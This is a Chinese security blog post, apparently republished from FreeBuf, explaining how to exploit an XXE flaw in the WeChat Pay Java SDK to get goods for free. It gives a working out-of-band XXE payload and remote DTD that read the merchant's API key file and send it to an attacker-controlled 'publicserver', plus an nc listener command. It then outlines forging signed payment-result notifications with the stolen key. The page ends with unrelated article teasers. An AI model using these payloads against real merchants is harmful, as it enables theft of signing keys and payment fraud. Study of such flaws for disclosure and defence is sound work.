微信支付SDK 0元购Hack思路分享

* 本文作者:zjie2O71,本文属FreeBuf原创奖励计划,未经许可禁止转载

PS:本文仅用于技术讨论与分享,严禁用于非法用途

前提:

之前有网友分享了微信支付SDK的XXE漏洞,语言版本为JAVA,有很多朋友问我0元购的hack思路,我查阅了一下微信支付的官方文档,配合简单的XXE做了一些攻击演示。

漏洞详情:

http://seclists.org/fulldisclosure/2018/Jul/3

SDK受影响版本下载地址:

https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

漏洞代码位置:

com.github.wxpay.sdk.WXPayUtil.java

xmlToMap函数。

漏洞代码:

public static void main(String[] args) throws Exception {
      String notifyData = "...."; // 支付结果通知的xml格式数据
      MyConfig config = new MyConfig();
      WXPay wxpay = new WXPay(config);
      Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);  // 转换成map
      if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
          // 签名正确
          // 进行处理。
          // 注意特殊情况:订单已经退款,但收到了支付结果成功的通知,不应把商户侧订单状态从退款改成支付成功
      }
      else {
          // 签名错误,如果数据里没有sign字段,也认为是签名错误
      }

引用位置:

查看SDK给的README.md说明,其中表示在支付结果的回掉接口notify_url 处使用,内部调用截图如下:

这里在构建notifyMap对象的时候缺陷方法被调用。

为了更方便的理解演示场景,我们先在这里了解一下微信支付SDK处理支付结果的接口校验签名的过程:

尝试着追踪wxpay.isPayResultNotifySignatureValid(notifyMap),追踪到了最下面这个判断签名的函数,代码截图如下:

功能上注释已经说的很明确,我解释一下三个参数的意思,函数传递的data参数表示将外部传递来的xml数据转化为Map数据结构的对象,key是商户用来签名的API密钥,signType则表示签名的方式,为空则表示默认是md5的方式。这里是一个简单的签名校验函数,这里的关键在于key是商户定义的,而data和signType字段则都可以人为控制,所以在我构建的攻击场景里需要人为的去读取配置文件里的key值。

本地场景搭建:

eclipse引入下载的微信SDK支付文件,文件结果如下图所示,下图红线处是需要自己加的类:

打开看一下MyConfig.java的内容,其实是继承了WXPayConfig类,写上需要实现抽象方法即可。

main.java类里面是模拟写了一次业务逻辑的函数,下面的notifyData参数就是模拟外部传入的脏数据,如下图:

在根目录下新建演示文件,里面模拟写入key值,如下图:

利用微信的XXE漏洞:

这里我放上几篇XXE漏洞利用的博客,写的蛮好的,这个环节有困难的同学可以看看。

http://www.freebuf.com/articles/web/97833.html

http://blog.leanote.com/post/xuxi/XXE%E6%80%BB%E7%BB%93

类似的基础教程有很多,有不理解的可以去网上搜搜看。

微信的XXE漏洞,利用流程链表如下:

向商户的notify_url接口发送dtd脏数据,商户服务器加载远程dtd文件,商户服务器将key值发送至attack服务器。

这里我分成了三步,我们分批次看一下:

第一步:

构造的恶意XXE数据,如下:

<?xmlversion=”1.0” encoding=”utf-8”?><!DOCTYPE ANY [ <!ENTITY % payload SYSTEM”file:////path/key.txt”><!ENTITY % remote SYSTEM”http://publicserver:8000/test2.dtd“>%remote;%all;%send;]>1

代码块如下图所示:

第二步:

远程的dtd文件内容如下:

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'http://publicserver:8001/%payload;'>">

第三步:

在publicserver上监听8001端口,观察读到的key.txt的值。

指令:nc –v –l 8001

运行结果如下图:

上图中可以看到GET的路径处,我在这里回显读取到的key.txt的值,this is key value!

构造微信返回值:

返回值的构造参考微信给出的字段解释:

https://pay.weixin.qq.com/wiki/doc/api/native.php?chapter=9_7&index=8

示例构造如下图所示:

读取到key之后,我们在本地模拟将数据转化成Map对象与key值进行加密,加密方式不写则默认为md5,就达到了欺骗的效果。

结尾:

漏洞本身只是很简单的XXE漏洞造成的任意文件读取,因为漏洞所处的关键业务点使得造成的损失巨大,但是由于notify_url的使用过程中客户全程并不参与,所以在我看来notify_url的获取方式是该漏洞破坏性的瓶颈。

* 本文作者:zjie2O71,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-07-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏腾讯云API

腾讯云 API 最佳实践: 善用幂等性

有些开发者问我云服务器“创建实例”接口有一个参数“ClientToken”不知道有什么作用。本文作一个简单的解答。

4.6K15
来自专栏IT技术精选文摘

RPC原理及实现

1 简介 RPC 的主要功能目标是让构建分布式计算(应用)更容易,在提供强大的远程调用能力时不损失本地调用的语义简洁性。为实现该目标,RPC 框架需提供一种透明...

8049
来自专栏桥路_大数据

ElasticSearch配置外网访问,开放9200端口

5415
来自专栏枕边书

Linux“体检”指标

前言 在“求佛保佑服务器不宕机”、“杀程序员祭天”的环境下,程序员每天可谓是战战兢兢,接到电话和短信都吓得瑟瑟发抖,为了我们的安全,及时发现服务器运行问题已不仅...

2656
来自专栏专注 Java 基础分享

弄懂 JRE、JDK、JVM 之间的区别与联系

其实很多 Java 程序员在写了很多代码后,你问他 jre 和 jdk 之间有什么关系,jvm 又是什么东西,很多人不知所云。本篇不会讲述 jvm 底层是如何与...

3754
来自专栏Java工程师日常干货

分布式服务治理框架Dubbo前言QuickStart 一些思考

Dubbo是一个被国内很多互联网公司广泛使用的开源分布式服务治理框架,是一个非常全面的SOA基础框架,当当网在Dubbo基础上新增了一些功能,并将其命名为Dub...

1313
来自专栏IT派

秒懂Python编程中的if __name__ == 'main' 的作用和原理

一天偶然发现知乎上有篇关于对python编程中的if __name__ == 'main'的理解陈述,看完之后,自己觉得不够简单明了,于是在其文章底部写了一句话...

1021
来自专栏Java帮帮-微信公众号-技术文章全总结

Web-第二十天 Redis学习【悟空教程】

rpm -e --nodeps java-1.6.0-openjdk-1.6.0.0-1.66.1.13.0.el6.i686

1925
来自专栏游戏杂谈

Lua模块的加载与内存释放

今天早上听说一件事情让我觉得很诡异的事情:公司线上的一款游戏,加载一份配置资源后,内存涨了几十M,然后内存再也下不来了。因为好奇,所以要来了最大的一个配置文件(...

1993
来自专栏Golang语言社区

Golang 单元测试框架 gocheck 使用介绍

单元测试应该在的功能和参数上验证程序的正确性;单元测试过后,机器状态应该保持不变;单元测试的运行、通过、失败不依赖于别的测试,可以人为构造数据,以保持单元测试的...

3502

扫码关注云+社区

领取腾讯云代金券